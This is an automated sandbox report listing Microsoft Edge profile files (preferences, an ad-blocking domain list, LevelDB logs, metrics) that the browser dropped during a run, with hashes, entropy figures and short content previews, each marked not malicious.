Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732086558"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\46588506-375f-4215-8314-5dc8b775d8aa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Reputation:	unknown
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673D8B19-1FE0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.49003231270024883
Encrypted:	false
SSDEEP:	6144:EuBHo7bntbGkcdUM8hqDzxjaJp3TPaHGdM:CZGkc2Ms6
MD5:	1D6600A3AA62A5C9E97387C389A994CF
SHA1:	69B506986AD9EDD43EB31FCB41F1F1E2D865FE36
SHA-256:	37690982029FC20FBF155858B8A7EF0D310884E49513B38757ED7691079C776F
SHA-512:	9219135D1A49BBEFA0C1C33DC23FD9A007EDF2D83B99E1873AF9FDB069F1B4553CC15F2B7F2388EBDCFB88610627659B3B7B5634022F74FC52F8267048EFCC50
Malicious:	false
Reputation:	unknown
Preview:	...@..@...@.....C.].....@...............p..................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ccdfde20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2............... .2.........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Reputation:	unknown
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0f787dc0-fa40-40f1-8ab6-a6e436399360.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13809
Entropy (8bit):	5.238107373772587
Encrypted:	false
SSDEEP:	192:stGJ99QTryDigabatSuypwsgiSsZihUkmtYDSwvYC8cbV+FWNQwu66WQaFIMYzP5:stGPGKSu4wsgJfheWbGEQwr6WQaTYV
MD5:	0F00221500397E80D460852A1C2ED44D
SHA1:	3A35B486BE2D6D9260C55746AEE95066A2744934
SHA-256:	CC5E1B9D099C72B8BC9F75CE5C406F354916672F0F5518111D84A5226FA75854
SHA-512:	01DEFC883243A8551AC10CC12E2AC4EFDDCC2DE9A441DCA02BB4A86E5337A10E8070CD876F5DCF177C37EE5CD8311F00EF57E8DE643B891FAA6BB5866BF66F12
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376560154317492","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\177a77ee-eb3a-4c05-9968-c8700c2f0101.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17588), with no line terminators
Category:	modified
Size (bytes):	17588
Entropy (8bit):	5.4852488844696685
Encrypted:	false
SSDEEP:	384:stGPGKSu4wsgJfhYgdmyxxcIlJbGEQwr6W/laTYV:sIOxubJfE0LbGDIhaTYV
MD5:	C23D7E16A030A46C4A706875D86EBE6D
SHA1:	3FF30C9A0B691DCC5B2560250E165276CE57C7E8
SHA-256:	5DB60AA4C3907213709EB13ADA902E857EA526F82C267DF7F2C5309D5A6C8734
SHA-512:	F80C8D14BECC8875CF87D44B35BFF8158E55B11690CC1F35195BEA3454D9C303992AA0B0EC1170CD267AB69D26A3BC12F1AC6F0B7FBBCFA77D6F1F3F0F08555C
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376560154317492","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4a791044-1b08-4bfd-8107-3b867bad81a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17423), with no line terminators
Category:	dropped
Size (bytes):	17423
Entropy (8bit):	5.488710159922465
Encrypted:	false
SSDEEP:	384:stGPGKSu4wsgJfhYgdmyxxcIlJbGEQwr6WQaTYV:sIOxubJfE0LbGDIEaTYV
MD5:	957E47256FEFDA5A49FBF83D5CCC9403
SHA1:	BC35FDA46E79EA2F554461A0C7B15390D1330EA5
SHA-256:	3D7305DCE5595DC2CBD038E05579A5E8BFAF03543391994744B5792B1388AA97
SHA-512:	A9F91994DBC1924FB87B7B83C86301E4ED59BD34D9EFBC4E9B76D8367532566B131FF58952B7740E0C46124C4541481555B30D02D60CF9DBA35D9B04C87ABA27
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376560154317492","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6b78049b-7d2e-4f6c-86b9-49c309d61749.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35445
Entropy (8bit):	5.558835066996513
Encrypted:	false
SSDEEP:	768:6gj/h6WPvLfxe8F1+UoAYDCx9Tuqh0VfUC9xbog/OVmMRtsrwWlZgqKpRtu/:6gj/h6WPvLfxeu1ja1itFWlZZ0tQ
MD5:	D2CEF369CAFAFEAD0B86092E7D018392
SHA1:	CF8BA35D4F33305451DCF8AFAEA1B8707E8D38D5
SHA-256:	24D310F19F47AB08F34BD2BDE5FB19A8524071C527439A99C11C9CCB97ED91BE
SHA-512:	E0FBE4E1C360447C1EE56E71C56F47741117F3B61AAE92898449B8E6C1A10FB171AE149B80183B38C9BE950B33E600EF4ACE59960319FFC103DCCF451D1B1DB5
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376560153673795","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376560153673795","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\765d8e3f-db36-472d-9274-1d04e732d499.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8252fa75-09f9-4e5f-b529-ed1bfeca397c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\99c17d8c-6b18-4f86-bab7-5464ca7dccfe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.208774943287278
Encrypted:	false
SSDEEP:	6:H6e/kD1923oH+Tcwtp3hBtB2KLlV6eTd3+q2P923oH+Tcwtp3hBWsIFUv:BkmYebp3dFLHOv4Yebp3eFUv
MD5:	DAE3804E52870793311C8157C2AEBAE3
SHA1:	2B86F674135E48C3D80179B8EA751E48078BB448
SHA-256:	6E4AB1C3191D2E4D1F49C57F04B67852AC5C3D70324F6159CC0004926750A7C7
SHA-512:	6C1920DDFFB927CF4B0141C0857342292548298D7158E5BA10E3039169486F87A70DBBFF2A86B5B6F84111EF8C52CF4DFE1A271DCA0D309E4EB2A0D28361F217
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:20.118 1998 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/20-02:09:20.135 1998 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.2228634910289635
Encrypted:	false
SSDEEP:	24576:v+/PN8FCfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Qfx2mjF
MD5:	E2D82CCD181390B5384A6BDB140E8C0C
SHA1:	3FEE2A98EF629E3CEDC204F201F3B55F2FD66D10
SHA-256:	FB4D859BBB5C058A8D62DDD833BC8A19B0D2D3671C645CF7834848292476793F
SHA-512:	DD0B49044A5B38AD615938708B331961BE0774687D9CCF9051F2AE16EB0758B3490DE4B36381ADCEE9199E0B0C03395EDA896ABEF0BF50452F7EC207543AE885
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.123920100662672
Encrypted:	false
SSDEEP:	6:H6CnHVq2P923oH+Tcwt9Eh1tIFUt8Y6B/ESgZmw+Y6BfESIkwO923oH+Tcwt9Ehx:1HVv4Yeb9Eh16FUt8jHg/+zESI5LYebY
MD5:	E3E0B45FE258CD04618BB20010C85808
SHA1:	2DFCE4D6F8D268B032ADBF8AD74073B432090964
SHA-256:	45B5D97F2F12A7F308C7784D4F193A50EEB462100BE989604BF878A83D4D4AA5
SHA-512:	6FF83E5568F36AE6DA3A4E61E8F30139A99397443446B7D931F3EBD7A8700FCA08A3F9A96370247CD8DAABCE3BC49A058A70165F21EAA05AE7F1033DC51DA657
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:19.899 854 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-02:09:19.900 854 Recovering log #3.2024/11/20-02:09:19.966 854 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.123920100662672
Encrypted:	false
SSDEEP:	6:H6CnHVq2P923oH+Tcwt9Eh1tIFUt8Y6B/ESgZmw+Y6BfESIkwO923oH+Tcwt9Ehx:1HVv4Yeb9Eh16FUt8jHg/+zESI5LYebY
MD5:	E3E0B45FE258CD04618BB20010C85808
SHA1:	2DFCE4D6F8D268B032ADBF8AD74073B432090964
SHA-256:	45B5D97F2F12A7F308C7784D4F193A50EEB462100BE989604BF878A83D4D4AA5
SHA-512:	6FF83E5568F36AE6DA3A4E61E8F30139A99397443446B7D931F3EBD7A8700FCA08A3F9A96370247CD8DAABCE3BC49A058A70165F21EAA05AE7F1033DC51DA657
Malicious:	false
Reputation:	unknown
Preview:	2024/11/20-02:09:19.899 854 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/20-02:09:19.900 854 Recovering log #3.2024/11/20-02:09:19.966 854 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46284606830857056
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuLb:TouQq3qh7z3bY2LNW9WMcUvBuP
MD5:	E25F8FBE616A4CEB9E369FDAB7250558
SHA1:	D459DD9F3D036FC65CAF33712D4E040BB446E8AD
SHA-256:	DE6F17F96DEF6EC24AA85399C1133FC4C227E2052E8150D5D858E5E9EACF1258
